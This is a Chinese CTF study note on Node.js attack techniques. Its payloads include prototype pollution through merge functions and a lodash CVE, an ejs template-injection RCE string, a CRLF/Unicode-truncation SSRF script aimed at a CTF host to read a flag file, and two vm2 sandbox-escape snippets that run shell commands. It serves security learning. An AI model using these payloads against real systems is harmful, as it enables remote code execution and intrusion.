通用
拿到package.json
首先npm audit
看看依賴庫有沒有漏洞
原型鏈污染
漏洞特征
深入理解 JavaScript Prototype 污染攻擊
以下內容出自p神的文章
我們思考一下,哪些情況下我們可以設置__proto__
的值呢?其實找找能夠控制數組(對象)的“鍵名”的操作即可:
- 對象merge
- 對象clone(其實內核就是將待操作的對象merge到一個空對象中)
以對象merge為例,我們想象一個簡單的merge函數:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
express框架如果use(bodyParser.json())
或者use(express.json())
,支持通過content-type
接收JSON
輸入,我們改為application/json
直接輸入json數據。
ejs
Express+lodash+ejs: 從原型鏈污染到RCE
ejsrender
渲染中有大量代碼拼接
if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output.join("");' + '\n';
this.source = prepended + this.source + appended;
}
如果能覆蓋opts.outputFunctionName
,這樣我們構造的payload就會被拼接進js語句中,並在ejs渲染時進行RCE
a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //
同理,覆蓋escapeFn
也可以
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
lodash
CVE-2019-10744
lodash.defaultsDeep(obj,JSON.parse(objstr));
只需要有objstr
為
{"content":{"prototype":{"constructor":{"a":"b"}}}}
在合並時便會在Object上附加a=b這樣一個屬性
JQuery
$.extend(deep,clone,copy)
會執行一個merge操作,如果copy
中有名為__proto__
的屬性,則會向上影響原型
JavaScript特性
JavaScript大小寫特性
- 字符
ı
、ſ
經過toUpperCase處理后結果為I
、S
- 字符
K
經過toLowerCase處理后結果為k
(這個K不是K)
js弱類型
==
比較
type | {} | [] | 0 | 1 | "" | true | false | undefined |
---|---|---|---|---|---|---|---|---|
{} | true | false | false | false | false | false | false | false |
[] | false | true | true | false | true | false | true | false |
0 | false | true | true | false | true | false | true | false |
1 | false | false | false | true | false | true | false | false |
"" | false | true | true | false | true | false | true | false |
true | false | false | false | true | false | true | false | false |
false | false | true | true | false | true | false | true | false |
undefined | false | false | false | false | false | false | false | true |
+
- 如果兩個操作數都是字符串,則將第二個操作數與第一個操作數拼接起來
- 如果只有一個操作數是字符串,則將另一個操作數轉換為字符串,然后再將兩個字符串拼接
- 如果有一個操作數是對象、數值或布爾值,則調用它們的
toString()
方法取得相應的字符串 - 對於
undefined
和null
,則分別調用String()
函數並取得字符串"undefined"
和"null"
亂七八糟
HackTM中一道Node.js題分析(Draw with us)
js中的對象只能使用
String
類型作為鍵類型,什么別的類型傳進去就要做一次toString()
function checkRights(arr) {
let blacklist = ["p", "n", "port"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
sort()
方法用原地算法對數組的元素進行排序,並返回數組。默認排序順序是在將元素轉換為字符串,然后比較它們的UTF-16代碼單元值序列時構建的
const array1 = [1, 30, 4, 21, 100000];
array1.sort();
console.log(array1);
// expected output: Array [1, 100000, 21, 30, 4]
多字節編碼截斷
雖然用戶發出的http請求通常將請求路徑指定為字符串,但Node.js最終必須將請求作為原始字節輸出。JavaScript支持unicode字符串,因此將它們轉換為字節意味着選擇並應用適當的unicode編碼。對於不包含主體的請求,Node.js默認使用“latin1”,這是一種單字節編碼,不能表示高編號的unicode字符。相反,這些字符被截斷為其JavaScript表示的最低字節
> Buffer.from('http://example.com/\u010D\u010A/test', 'latin1').toString()
'http://example.com/\r\n/test'
例題:[GYCTF2020]Node Game
利用Nodejs 10以下http
模塊存在的編碼問題和crlf注入達到ssrf
import urllib.parse
import requests
payload = ''' HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close
POST /file_upload HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoirYAr4M13lFjhnC
Connection: close
------WebKitFormBoundaryoirYAr4M13lFjhnC
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template
doctype html
html
head
title flag
body
include ../../../../../../../../flag.txt
------WebKitFormBoundaryoirYAr4M13lFjhnC--
GET / HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)
vm沙箱逃逸
Buffer leak
在較早一點的 node 版本中 (8.0 之前),當 Buffer 的構造函數傳入數字時, 會得到與數字長度一致的一個 Buffer,並且這個 Buffer 是未清零的。8.0 之后的版本可以通過另一個函數 Buffer.allocUnsafe(size) 來獲得未清空的內存。
vm2v3.8.3
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
或者
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
bypass
- 過濾關鍵詞,可以使用
`
,例如`${`${`prototyp`}e`}`
- 對象的屬性可以用
object['attr']
,也可以object.attr
String.fromCharCode()
可以將數字和字母轉換
參考鏈接
Node.js 常見漏洞學習與總結
i春秋2020新春戰“疫”網絡安全公益賽GYCTF 兩個 NodeJS 題 WriteUp
Javascript 原型鏈污染 分析
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs